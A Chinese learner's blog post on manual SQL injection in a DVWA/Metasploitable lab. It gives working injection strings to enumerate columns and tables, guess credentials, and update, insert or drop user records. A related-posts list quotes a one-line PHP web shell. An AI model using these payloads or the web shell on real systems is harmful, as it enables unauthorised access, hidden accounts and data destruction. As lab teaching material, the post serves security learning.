SQL手工注入

靶机:metasploitable(低)

 1、当无权读取infomation_schema库【MySQL最重要的源数据库,必须有root权限】/拒绝union、order by语句

#若不为root

a.猜列名:   ' and coclumn is null--+     【并且列有一个字段为空,正常执行,若没有空字段,且该列存在,返回空白内容;若列不存在,则报错】(可确定语句可插入数据库运行)

例如:' and asd is null--+     

使用kali集成的字典文件

#对字典中以#号开头的行过滤【cat common-colums.txt | grep -V ^# > column.txt】

BurpSuite自动猜列名(使用字典文件)【不一定是全部列】

#也可通过返回的长度(length)来筛选

b.猜测当前表名:   ' and table.user is null--+  【(user为已确定存在列名)如果列有字段为空,返回表名,若没有空字段,不会返回结果,若表名不存在,会报错】

 #还可通过db.table.user猜测数据库名称【同样的方法】

kali中查找表名集成文件

cat /usr/share/golismero/tools/sqlmap/txt/common-tables.txt | grep -v ^# > table.txt

#通常来说,表名应该只有一个,不排除存在其他表名

c.猜测库里其他表:   ' and (select count(*) from table)>0--+   【统计表中记录,若大于0,表名存在,可能直接爆出库名和表名】

#同上,使用burpsuite

d.列表对应关系:    ' and users.user is null--+

#通过上述方法,整理出已知列名文件

e.猜字段内容:  

' or user='admin             【后面为真,则显示,证明该内容存在】

' or user like '%a%        【通配符,只要字段中包含a,则显示】

f.猜账号对应密码:    'or user='admin' and password='1h29rwg27g9agf9291r9

#可使用md5sum命令进行加密

 2、当数据库可写入【前提,数据库配置的权限足够】

a. ';update users set user='root' where user='admin'        【直接修改其账号/密码(密码为自己设定的密码的MD5值)将admin更新为root】

#但是在dvwa中无法运行该语句,是sql客户端的问题代码存在问题,导致注入失败【原因

数据库密码破解程序HexoBase,同时也是数据库连接的客户端程序

b.'; INSERT INTO users (' user_id',' first_name',' last_name','user','password','avatar') VALUES('35','fh','root','toor','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+    【插入:添加一个新用户,可隐秘行事】

 c.DROP TABLE users;--    【删除表】

 #利用数据库管理系统中默认的存储过程进行注入  【xp_cmdshell  /存储过程】

#SQL注入没有通用的方法,掌握原理,了解各种数据库特性

3、SQL注入难度提升讲解

low

medium

代码分析:$id:该变量不需要使用单引号闭合,也不需要使用--进行注释,所以注入之前中已不需要加单引号进行,过滤函数已为多余

#mysql_real_escape_string()   【php5.5.0已经弃用该函数,PHP 7.0.0已经删除该函数,使用MySQLi、PDO_MySQL代替】

转义函数,对以下下列字符转义

 High

小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入的更多相关文章

  1. 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

    SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...

  2. 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto

    扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...

  3. 小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish

    WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...

  4. 小白日记33:kali渗透测试之Web渗透-扫描工具-Burpsuite(一)

    扫描工具-Burpsuite Burp Suite是Web应用程序测试的最佳工具之一,成为web安全工具中的瑞士军刀.其多种功能可以帮我们执行各种任务.请求的拦截和修改,扫描web应用程序漏洞,以暴力 ...

  5. 小白日记43:kali渗透测试之Web渗透-SqlMap自动注入(一)-sqlmap参数详解TARGET

    SqlMap自动注入(一) sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞[动态页面中get/post参数.cookie.HTTP头].它由Python语言开发 ...

  6. Kali学习笔记39:SQL手工注入(1)

    终于到了SQL注入 最大的.最经典的.最常见的Web漏洞就是SQL注入漏洞 SQL注入的原理这里就不说了,百度 打开DVWA,SQL注入测试模块 测试单引号,发现出错,于是想到测试语句: 1' or ...

  7. 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

    webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...

  8. 小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)

    补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页 ...

  9. 小白日记52:kali渗透测试之Web渗透-HTTPS攻击(Openssl、sslscan、sslyze、检查SSL的网站)

    HTTPS攻击 全站HTTPS正策划稿那位潮流趋势 如:百度.阿里 HTTPS的作用 CIA 解决的是信息传输过程中数据被篡改.窃取 [从中注入恶意代码,多为链路劫持] 加密:对称.非对称.单向 HT ...

随机推荐

  1. 多校1005 HDU5785 Interesting (manacher)

    // 多校1005 HDU5785 Interesting // 题意:给你一个串,求相邻两个回文串左边端点*右边端点的和 // 思路:马拉车算出最长回文半径,求一个前缀和,既得到每个点对答案的贡献. ...

  2. RT-thread内核之进程间通信

    这里面见到的同步和互斥的概念非常清晰,转载自: http://www.cnblogs.com/King-Gentleman/p/4311582.html 一.进程间通信机制 rt-thread操作系统 ...

  3. InputFormat,OutputFormat,InputSplit,RecordRead(一些常见面试题),使用yum安装64位Mysql

    列举出hadoop常用的一些InputFormat InputFormat是用来对我们的输入数据进行格式化的.TextInputFormat是默认的. InputFormat有哪些类型? DBInpu ...

  4. 轻松突击ThreadLocal

    本文出自 代码大湿 代码大湿 ThreadLocal是用来保存线程的本地变量,可以保证每个线程都有一个自己的变量(包括static变量). 本文所有代码请点击我 1 看个实际场景. 我们要设计一个序列 ...

  5. FMX架构图

  6. 为了以后愉快的玩耍,Virtualbox安装Ubuntu

    为了以后愉快的玩耍,Virtualbox安装Ubuntu 每次安装虚拟机都是总要折腾一下,毕竟不是特别熟悉,几个小细节总要google半天,为了以后能愉快的玩耍.把这些问题都记录下来,免得再折腾. 此 ...

  7. 转载-MySQL 加锁处理分析

    MySQL 加锁处理分析 发表于 2013 年 12 月 13 日 由 hedengcheng 1    背景    1 1.1    MVCC:Snapshot Read vs Current Re ...

  8. Spark计算工作流

    下图 中描述了 Spark 的输入.运行转换.输出.在运行转换中通过算子对 RDD进行转换.算子是 RDD 中定义的函数,可以对 RDD 中的数据进行转换和操作.‰ 输入:在 Spark 程序运行中, ...

  9. Struts2在Action中访问WEB资源

    什么是WEB资源? 这里所说的WEB资源是指:HttpServletRequest, HttpSession, ServletContext 等原生的 Servlet API. 为什么需要访问WEB资 ...

  10. HDU 5813 Elegant Construction (贪心)

    Elegant Construction 题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=5813 Description Being an ACMer ...